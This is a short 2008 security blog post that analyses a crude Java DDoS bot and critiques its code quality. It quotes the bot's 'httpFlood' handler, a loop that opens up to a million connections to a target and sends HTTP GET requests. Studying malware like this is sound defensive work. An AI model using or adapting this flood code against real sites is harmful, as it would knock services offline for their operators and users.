MW-Blog

Just stumbled onto a DDOS bot written in java. Usually there aren’t too many malicious programs for java so I decided to take a closer look. The code quality is about as bad as in the previous entry that depicted the PHP DDoS Bot, but I think the java version has more potential to grow into a problem.

When looking at the code the inefficiencies and shortcomings are pretty obvious:

[code]

if (command.startsWith(prefix + "httpFlood")) {
         //HTTP Flood a Site
         target = command.substring(6);
         for(int i=1; i<1000000; i++){ //HTTP FLOOD CODE HERE
              try {
               net = new Socket(target, 80);
               sendRawLine("GET / HTTP/1.1", net);
               sendRawLine("Host: " + target, net);
            sendRawLine("Connection: close", net);
              }

                 catch(UnknownHostException e)

                 {
                    //NO ACTION
                 }

                 catch(IOException e)
                 {
                    //NO ACTION
                 }

         }

[/code]

IF the author of the bot hones his skillz and really put his mind to it this bot could become a real threat, as Java can be found on pretty many machines and the bot could be run on basically any platform there is.

This entry was posted on Saturday, May 10th, 2008 at 8:19 am and is filed under General InfoSec, Malware FreakShow. You can follow any responses to this entry through the RSS 2.0 feed. Responses are currently closed, but you can trackback from your own site.